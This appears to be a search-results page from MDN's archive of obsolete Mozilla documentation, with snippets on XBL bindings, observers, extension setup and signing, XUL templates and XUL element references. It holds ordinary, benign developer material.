javascript code is enclosed in cdata sections to prevent js and xml syntax conflicts.
...we use the shorthand version of the property tag: <property name="name" onget="return this.getattribute('name');" onset="this.setattribute('name', val);" /> there's a less compact version of the property tag that should be used if the getter or setter code involves more than one line of code: <property name="name"> <getter><![cdata[ return this.getattribute('name'); ]]></getter> <setter><![cdata[ this.setattribute('name', val); ]]></setter> </property> properties can be accessed just the same as fields, and they're the ones we prefer for public members.
... methods our "person" binding has a single method that removes the item from the list: <method name="remove"> <parameter name="aevent" /> <body><![cdata[ this.parentnode.removechild(this); ]]></body> </method> as you can see, it's very easy to define a method and the parameters it takes.
...we have a "click" handler that displays the greeting when the "person" element is clicked: <handler phase="bubbling" event="click"><![cdata[ window.alert(this.greeting); ]]></handler> handlers are not necessary all that often, since in most cases you'll need the events to only apply to a part of the binding, not the whole thing.
Observer Notifications - Archive of obsolete content
this example code shows you what an implementation of the nsiobserver interface looks like: let testobserver = { observe : function(asubject, atopic, adata) { if (atopic == "xulschoolhello-test-topic") { window.alert("data received: " + adata); } } } in order for this observer to work, you need to use the observer service that provides methods for you to add, remove, notify and enumerate observers.
... createinstance(components.interfaces.nsisupportsstring); // assign some text to data attribute subject.data = "this is a test."; // notify all registered observers observerservice.notifyobservers( subject, "xulschoolhello-test-topic", "hello"); } in the notifytest method, the notifyobservers call is used to notify all registered observers about the notification topic "xulschoolhello-test-topic".
... * @param adata the additional string associated with the notification.
... */ observe : function(asubject, atopic, adata) { if (atopic == "xulschoolhello-test-topic") { asubject.queryinterface(ci.nsisupportsstring); window.alert("subject: " + asubject.data); // => "this is a test" window.alert("data: " + adata); // => "hello" } } } window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); window.addeventlistener( "unload", function() { xulschoolchrome.browseroverlay.uninit(); }, false); in the observe method the notification topic is verified because you can have one observer listening to several topics.
Setting Up a Development Environment - Archive of obsolete content
you don't want unstable extensions to break your everyday firefox profile, risking data loss.
... tamper data tamper data intercepts http requests and their responses.
... it allows you to cancel them and even replace payload data before it is sent.
... there are several similar extensions, such as live http headers, but tamper data is the one that we use the most.
Signing an extension - Archive of obsolete content
create a certificate database first, create a certificate database that will be used for signing.
...use a strong password to protect your database.
... show the certificate list in your database.
... sign the basic usage of the signing tool is as follows: nss-signtool \ -d (path to the directory that contains your certificate database files) \ -k (your certificate nickname) \ -p (your certificate password) \ -x -z (output path/name of signed file) \ (path to your extension working directory that contains chrome directory, chrome.manifest file, install.rdf file, etc.) writing your password directly in the script is dangerous.
CSS3 - Archive of obsolete content
formally defines the css data types of css 2.1, that were implicitely defined by their grammar token and some textual precisions.
... css counter styles level 3 candidate recommendation testing modules css images module level 3 candidate recommendation defines the <image> data type.
... adds: the dppx unit to the <resolution> data type.
... the image-orientation property by adding the keyword from-image, allowing to follow exif data stored into images to be considered.
Creating a dynamic status bar extension - Archive of obsolete content
download the sample update the install manifest replace all occurrences of the first sample's id, "status-bar-sample-1", with the new sample's id, "stockwatcher", and update the front end metadata to describe our new extension.
...we end up reloading data from each of the windows once in 10 minutes - fixing this by creating a js component responsible for communication with the server is a good idea for one of the future articles startup: function() { this.refreshinformation(); window.setinterval(this.refreshinformation, 10*60*1000); }, this starts by calling our refreshinformation() function, which is responsible for fetching and displaying s...
...this object is used to configure and run an http request on a web server, which we'll use to fetch the stock quote data.
...in this case, we're using yahoo's comma-separated values return to fetch easily-parsed stock quote data for google (ticker symbol goog).
MMgc - Archive of obsolete content
other is the delta between private and mmgc, it includes things like system malloc, stacks, loaded library data areas etc.
...the garbage collector is aware of "roots", which are starting points from which all "live" application data should be reachable.
...that means that it might occasionally turn up a "false positive." a false positive is a memory location that looks like it contains a pointer to a gc object, but it's really just some jpeg image data or an integer variable or some other unrelated data.
...this is an unfortunate artifact of the existing code base, the avm+ is relatively clean and its reachability graph consists of basically 2 gc roots (the avmcore and urlstreams) but the avm- has a bunch (currently includes securitycallbackdata, moviecliploader, camerainstance, fappacket, microphoneinstance, csoundchannel, urlrequest, responceobject, urlstream and urlstreamsecurity).
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
"component returned failure code: 0xc1f30001 (ns_error_not_initialized) [nsildapurl.spec]" nsresult: "0xc1f30001 (ns_error_not_initialized)" location: "js frame :: file:////usr/lib/thunderbird-3.0b2/defaults/autoconfig/prefcalls.js :: getldapattributes :: line 174" data: no] bug 295329 had been re-opened .
... my tests were on windows vista, and i noticed at least one difference, it is that paths changed; now the profile is in (for my procacci user sample): c:\users\procacci\appdata\roaming\thunderbird\profiles\v6we4uku.default start in debug mode in comand line interface: debug with displayerror() here's the result, i used the displayerror() method ( not the best way :-( see bug 206294 ) to show environment and ldap variables in order to check that it worked fine.
..."could not convert javascript argument arg 0 [nsisupports.queryinterface]" nsresult: "0x80570009 (ns_error_xpc_bad_convert_js)" location: "js frame :: prefcalls.js :: getldapattributes :: line 177" data: no] autoconfig (pref) and ldap support in packages add ldap support in firefox 1.5 a least from firefox 1.5, autoconfig is compiled by default (cf.
... 2 10:45 outtestdata drwxr-xr-x 6 root root 4096 juil.
Source code directories overview - Archive of obsolete content
db contains c code for the mdb/mork database which is a low-level, general-purpose and cross-platform file library.
... it is used to store mail box data, news data and global history data.
... rdf contains c interfaces and code for accessing various data and organizing their relationships according to rdf.
...this code reads and writes data from and to the local file system, databases, the internet or any other source using a url-like syntax.
Visualizing an audio spectrum - Archive of obsolete content
this example calculates and displays fast fourier transform (fft) spectrum data for the playing audio.
... the function handling the loadedmetadata event stores the metadata of the audio element in global variables; the function for the mozaudioavailable event does an fft of the samples and displays them in a canvas.
...o id="audio-element" src="song.ogg" controls="true" style="width: 512px;"> </audio> <div><canvas id="fft" width="512" height="200"></canvas></div> <script> var canvas = document.getelementbyid('fft'), ctx = canvas.getcontext('2d'), channels, rate, framebufferlength, fft; function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; fft = new fft(framebufferlength / channels, rate); } function audioavailable(event) { var fb = event.framebuffer, t = event.time, /* unused, but it's there */ signal = new float32array(fb.
... // multiply spectrum by a zoom value magnitude = fft.spectrum[i] * 4000; // draw rectangle bars for each frequency bin ctx.fillrect(i * 4, canvas.height, 3, -magnitude); } } var audio = document.getelementbyid('audio-element'); audio.addeventlistener('mozaudioavailable', audioavailable, false); audio.addeventlistener('loadedmetadata', loadedmetadata, false); // fft from dsp.js, see below var fft = function(buffersize, samplerate) { this.buffersize = buffersize; this.samplerate = samplerate; this.spectrum = new float32array(buffersize/2); this.real = new float32array(buffersize); this.imag = new float32array(buffersize); this.reversetable = n...
Drag and Drop - Archive of obsolete content
mozilla will translate the data being dragged as needed.
... getdata(transfer,index) get the data being dragged.
... the first argument should be an nsitransferable object to hold the data.
... isdataflavorsupported(flavor) returns true if the data being dragged contains data of the specified flavor.
Table Layout Regression Tests - Archive of obsolete content
a typical beginning of a dump (*.rgd file) looks like: <frame va="15022440" type="viewport(-1)" state="270340" parent="0"> <view va="47171904"> </view> <stylecontext va="15022232"> <font serif 240 240 0 /> <color data="-16777216"/> <background data="0 2 3 -1 0 0 "/> <spacing data="left: null top: null right: null bottom: null left: null top: null right: null bottom: null left: 1[0x1]enum top: 1[0x1]enum right: 1[0x1]enum bottom: 1[0x1]enum left: null top: null right: null bottom: null left: null top: null right: null bottom: null 1[0x1]enum 0" /> <list data="100 100 " /> <position data="le...
...ft: auto top: auto right: auto bottom: auto auto 0[0x0]tw null auto 0[0x0]tw null 0 auto " /> <text data="0 0 0 normal normal 0[0x0]tw normal " /> <textreset data="0 10[0xa]enum " /> <display data="0 1 0 0 0 0 0 0 0 0 0 0 " /> <visibility data="0 1 1.000000" /> <table data="0 0 4 -1 1 " /> <tableborder data="1 null null 0 2 " /> <content data="0 0 0 null " /> <quotes data="0 " /> <ui data="3 0 0 1 " /> <uireset data="7 0 4" /> <xul data="0 0 0 0 0 1 <svg data="0 1.000000 1.000000 0 1.000000" /> </stylecontext> the baseline log will look like: type manifest file: e:\moz_src\mozilla\obj-i586-pc-msvc\dist\bin\components\xpti.dat +++ javascript debugging hooks installed.
...writing regression data to e:\moz_src\mozilla\layout\html\tests\block\base\baseline\width-fixed_html.rgd writing regression data to e:\moz_src\mozilla\layout\html\tests\block\base\baseline\width-percent_html.rgd writing regression data to e:\moz_src\mozilla\layout\html\tests\block\base\baseline\margin1_html.rgd writing regression data to e:\moz_src\mozilla\layout\html\tests\block\base\baseline\pre_html.rgd writing regression data to e:\moz_src\mozilla\layout\html\tests\block\base\baseline\pre1_html.rgd the second verif...
...writing regression data to e:\moz_src\mozilla\layout\html\tests\table\core\verify\standards1.rgd comparing to regression data from e:\moz_src\mozilla\layout\html\tests\table\core\baseline\standards1.rgd frame bbox mismatch: 0,26437,4824,600 vs.
Additional Template Attributes - Archive of obsolete content
« previousnext » referencing templates all the templates used so far have had the template placed inside the root element with the datasources attribute.
... <listbox datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" template="phototemplate"/> ...
...the datasources and ref attributes also differ for each usage, so it is possible to use a shared template to display the same structure multiple times but with different starting nodes in each case.
... <hbox datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template container="?start" member="?photo"> <rule> <image uri="?photo" src="?photo"/> </rule> </template> </hbox> in this example, the ?photo variable can be used instead of 'rdf:*' (although you can use either even if you specify the member variable).
Attribute Substitution - Archive of obsolete content
recall that the template builder doesn't load the datasource before processing a template.
... as the datasource loads, the query and rules are examined with the new data as it arrives.
... this causes rules to create matches as the data loads.
...thus, if you use a variable set in a binding, you must ensure the datasource is loaded before the template is built, or just rebuild the template.
Containment Properties - Archive of obsolete content
<vbox datasources="template-guide-ex1.rdf" ref="http://www.xulplanet.com/rdf/a" containment="http://www.xulplanet.com/rdf/relateditem"> <template> <rule> <label uri="rdf:*" value="rdf:*"/> </rule> </template> </vbox> instead of iterating over a container, this example iterates over a specific predicate.
... this attribute is useful when the rdf data is structured in such a way that an rdf container isn't used.
...if the starting node (or ref) has that predicate as one of its triples in the rdf data, the builder will use it in addition to checking if it is a container.
...<vbox datasources="template-guide-ex3.rdf" ref="http://www.xulplanet.com/rdf/a" containment="http://www.xulplanet.com/rdf/relateditem"> <template> <query> <content uri="?start"/> <member container="?start" child="?child"/> </query> <action> <label uri="?child" value="?child"/> </action> </template> </vbox> try this example.
Multiple Rules - Archive of obsolete content
a multiple rule template looks like the following: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> </query> <rule> <where subject="?title" rel="equals" value="canal"...
...as the datasource has three photos, one of which has a title of 'canal', this photo will match the first rule and the content's of that rule's action body will be generated.
...here is another example for an xml source: <radiogroup datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <rule> <where subject="?gender" rel="equals" value="male"/> <action> <radio uri="?" label="?name is male"/> </action> </rule> <rule> <action> <radio uri="?" label="?name is female" disabled="true"/> </action> </rule> </template> </radiogroup> in thi...
... than 1000 differently beforematch if a value comes before another alphabetically aftermatch if a value comes after another alphabetically startswithmatch if a value starts with a specific string endswithmatch if a value ends with a specific string containsmatch if a value contains a substringto highlight results that contain a search term here is an example using the 'contains' operator: <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"> <assign var="?letters" expr="string-length(@name) - 1"/> </query> <rule> <where subject="?name" rel="contains" value=" "/> <action> <label uri="?" value="?name has two names for a total length of ?letters"/> </action> </rule> </template> </vbox> this example contains ...
Using Multiple Queries to Generate More Results - Archive of obsolete content
« previousnext » combining results together one interesting technique is to use several queries to combine two sets of unrelated data together.
...if resources don't overlap, we can generate content for two different parts of the rdf data.
... if we add the following data about people to the neighbourhood datasource: <rdf:description rdf:about="http://www.xulplanet.com/rdf/myneighbourhood"> <r:people> <rdf:seq> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/person/1"/> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/person/2"/> </rdf:seq> </r:people> </rdf:description> <rdf:description rdf:about="http://www.xulplanet.com/rdf/person/1" dc:title="nathan"/> <rdf:description rdf:about="http://www.xulplanet.com/rdf/person/2" dc:title="karen"/> we can then use two queries to generate results from different parts of the datasource.
... <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <queryset> <query expr="group[@name='male']/*"/> <action> <checkbox uri="?" label="?name"/> </action> </queryset> <queryset> <query expr="group[@name='female']/*"/> <action> <label uri="?" value="?name"/> </action> </queryset> </template> </vbox> « previousnext �...
XML Assignments - Archive of obsolete content
this element allows the use of additional xpath expressions to get more data from the xml data.
... here is an example: <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"> <assign var="?namelength" expr="string-length(@name)"/> <assign var="?siblings" expr="count(../*) - 1"/> </query> <action> <hbox uri="?" align="center"> <button label="?name"/> <label value="?gender"/> <label value="?namelength"/> <label value="?siblings"/> </hbox> </action> </template> </vbox> two assign elements are placed as children of the query element.
...(in this case, the number of xml node siblings in the document, not the number of real siblings the people have, clearly the people in the datasource aren't actually siblings).
...here, the two attributes 'name' and 'gender' will be taken from the xml data, as in previous examples.
textbox (Toolkit autocomplete) - Archive of obsolete content
value type: string the string attribute allows you to associate a data value with an element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...hods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata getsearchat( index ) return type: string returns the search component with the given index.
Complete - Archive of obsolete content
the xpi contains: install.rdf information about the extension chrome.manifest registration data for firefox etc.
...the problem with this approach is that when changes in an application do make the extension fail, users might have bad experiences ranging from error messages that they cannot understand to crashes and data loss.
...the file contents.rdf contains registration data used by seamonkey.
...the file contents.rdf contains registration data used by seamonkey.
Introduction - Archive of obsolete content
some elements that can be created are: input controls such as textboxes and checkboxes toolbars with buttons or other content menus on a menu bar or pop up menus tabbed dialogs trees for hierarchical or tabular information keyboard shortcuts the displayed content can be created from the contents of a xul file or with data from a datasource.
... in mozilla, such datasources include a user's mailbox, their bookmarks and search results.
... the contents of menus, trees and other elements can be populated with this data, or with your own data supplied in an rdf file.
...in addition, you may have extra files for images or for platform specific data.
XUL Template Primer - Bindings - Archive of obsolete content
<?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin" type="text/css"?> <window xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" align="vertical"> <vbox datasources="friends.rdf" ref="urn:root"> <template> <rule> <conditions> <content uri="?uri"/> <triple subject="?uri" predicate="http://home.netscape.com/nc-rdf#friends" object="?friends"/> <member container="?friends" child="?friend"/> <triple subject="?friend" predicate="http://home.netscape.
... we'll use a the following data model to illustrate how bindings work.
... see the rdf/xml file friends.rdf, below, a simple database with name and address information for some of my good friends.
...(see the nsirdfdatasource interface for more details.) in our example, the <rule> will be instantiated three times: once each for alison, jack, and lumpy.
action - Archive of obsolete content
for a matched rule, each variable will be a reference to data within the datasource, determined from the query.
... examples example needed attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, bu...
...ilder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes()...
..., haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
arrowscrollbox - Archive of obsolete content
bel="orange"/> <button label="silver"/> <button label="lavender"/> <button label="gold"/> <button label="turquoise"/> <button label="peach"/> <button label="maroon"/> <button label="black"/> </arrowscrollbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width disabled type: boolean gets and sets the value of the disabled attribute.
...erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata ...
content - Archive of obsolete content
propiedades tag, uri ejemplos (no son necesarios) atributos inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
...when a rule is evaluated, it scans through each resource in the rdf datasource looking for a match.
...erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata relacionados tbd ...
description - Archive of obsolete content
value type: string the string attribute allows you to associate a data value with an element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata style classes header a class used for headings.
listbox - Archive of obsolete content
value type: string the string attribute allows you to associate a data value with an element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...ods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata additemtoselection( item ) return type: no return value selects the given item, without deselecting any other items that are already selected.
listitem - Archive of obsolete content
value type: string the string attribute allows you to associate a data value with an element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata style classes the following classes may be used to style the element.
menu - Archive of obsolete content
ArchiveMozillaXULmenu
value type: string the string attribute allows you to associate a data value with an element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...ods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items.
menuitem - Archive of obsolete content
value type: string the string attribute allows you to associate a data value with an element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata style classes menuitem-iconic use this class to have an image appear on the m...
menulist - Archive of obsolete content
value type: string the string attribute allows you to associate a data value with an element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...ods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata appenditem( label, value, description ) return type: element creates a new menuitem element and adds it to the end of the menulist.
menuseparator - Archive of obsolete content
value type: string the string attribute allows you to associate a data value with an element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata related elements menu, menubar, menuitem, menulist, menupopup interfaces nsiaccessibleprovider, nsidomxulcontaineritemelement, nsidomxulselectcontrolitemelement ...
notification - Archive of obsolete content
value type: string the string attribute allows you to associate a data value with an element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...ods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata close() return type: no return value closes the notification or findbar and removes it from its enclosing notificationbox or findbar.
radio - Archive of obsolete content
ArchiveMozillaXULradio
value type: string the string attribute allows you to associate a data value with an element.
